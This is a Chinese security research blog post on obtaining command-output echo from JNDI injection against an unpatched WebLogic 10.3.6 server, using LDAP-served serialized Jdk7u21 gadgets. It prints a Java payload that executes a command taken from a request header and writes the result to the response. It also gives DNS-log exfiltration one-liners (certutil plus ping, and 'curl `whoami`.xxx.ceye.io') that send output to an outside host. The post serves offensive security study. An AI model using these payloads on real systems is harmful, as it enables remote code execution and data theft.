Fork me on GitHub

JNDI实现回显研究

文章首发在安全客:https://www.anquanke.com/post/id/200892

1、前言

最近出的回显文章内容毕竟多,linux下反序列化通杀回显,tomcat拿org.apache.catalina.core.ApplicationDispatcher类的response和request实现回显。之前就想过jndi注入能否实现回显,先看一遍jndi原理。

  1. 目标代码中调用了InitialContext.lookup(URI),且URI为用户可控;
  2. 攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name;
  3. 攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;
  4. 目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例;
  5. 攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果;

当时的想法是,如果获取web服务器回显类,通过这种方式实现回显,必须是在web服务器运行时注入代码,也就是在web环境下。但是jndi是通过远端去加载恶意类,应该是不在web环境下。后来给清水川崎交流的时候,他说jndi也能实现回显,遂就有了下文。

2、环境构建

首先,搭建一个有jndi注入的web服务器,我这里选择weblogic 10.3.6版本,no patch,jdk版本选择Jdk7u21。用cve-2017-10271中com.sun.rowset.JdbcRowSetImpl这个payload打一发,本地先测成功。
Alt text
接着想法是JNDI Naming Reference的限制太多了,恶意类又难生成,LDAP Server除了使用JNDI Reference进行利用之外,还支持直接返回一个对象的序列化数据。如果Java对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化,这样利用ldap注入代码也方便点,下一步去找weblogic线程类,输入输出类。lufei表哥已经写过文章了:https://xz.aliyun.com/t/5299#toc-9,这就省了很多事。直接用他的代码:

String lfcmd = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lfcmd");
String[] cmds = new String[]{"cmd.exe", "/c", lfcmd};
java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();
weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();
outputStream.writeStream(new weblogic.xml.util.StringInputStream(output));
outputStream.flush();
response.getWriter().write("");

接着为了让服务器能够注入代码,选一条gadget,这里选择Jdk7u21这条链。怎么让gadget不执行命令,而是执行java代码看这篇文章:https://blog.csdn.net/fnmsd/article/details/79534877
Alt text
拿到gadget 进行base64编码,拷贝到HackerLDAPRefServer类这里。
Alt text
开启HackerLDAPRefServer,看一下回显效果,这里已经收到请求,回显也能够回显,看来是之前的猜想错了,还是rmi理解的不够深刻。
Alt text
在重新理解rmi客户端和服务器相互调用时,看到6时,才反应过来,即使是远程加载恶意类,也相当于是本地执行,当然也就能拿到weblogic回显的线程类。
Alt text
具体调试时,可以发现在触发jndi注入后,继续触发反序列化操作
Alt text
下图就是执行代码过程,之前犯的错误就是上图,将jndi注入和反序列化操作割裂开了,实际是按顺序触发的。
Alt text

3、jndi其他回显方法

最后提一嘴,jndi能出外网回显的利用总结,能弹shell那就不用说啥了:

1、 向系统可写web目录写文件/js文件写命令,在读取这个文件实现回显。(获取网站绝对路径,可以读.bash_hitory,服务器默认配置文件,框架自带的log,报错获得)
2、通过dnslog拿到回显内容:
windows:
1、whoami>D:/temp&&certutil -encode D:/temp D:/temp2&&findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3 2、set /p MYVAR=< D:/temp3 && set FINAL=%MYVAR%.xxxx.ceye.io && ping %FINAL% 3、del "D:/temp" "D:/temp2" "D:/temp3"
Linux:
反引号命令执行
curl `whoami`.xxx.ceye.io

4、总结

实际,有了这个思路,jndi也能够回显划重点,面试官问的时候记住了),可以结合很多web服务器搞,比如tomcat,Spring,Spring-Boot框架。虽然jndi需要出网,就显的很鸡肋了,但这也算是一种思路,毕竟知识面决定攻击面,知识链决定攻击深度,多掌握一个点,说不定就用上了。最后注入代码gadget有ROME、CommonsBeanutils1、CommonsCollections2、CommonsCollections3、CommonsCollections4、Spring1、Spring2、Jdk7u21、MozillaRhino1、JBossInterceptors1、JavassistWeld1、JSON1、Hibernate1,在Jdk7u21 gadget注入代码,javassist修改字节码时,添加泛型会出现报错,解决方法参考下面链接。(题外话,这个月在安全客连投了5篇,算是上一年研究的一点总结,现在手里没什么干货了,继续潜心修炼去了,遇到有意思的点,在发出来给大家分享。

参考链接:

https://github.com/kxcode/JNDI-Exploit-Bypass-Demo
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
https://xz.aliyun.com/t/7348
https://blog.csdn.net/kakaweb/article/details/84592472

posted @ 2020-03-16 10:13  Afant1  阅读(1131)  评论(0编辑  收藏  举报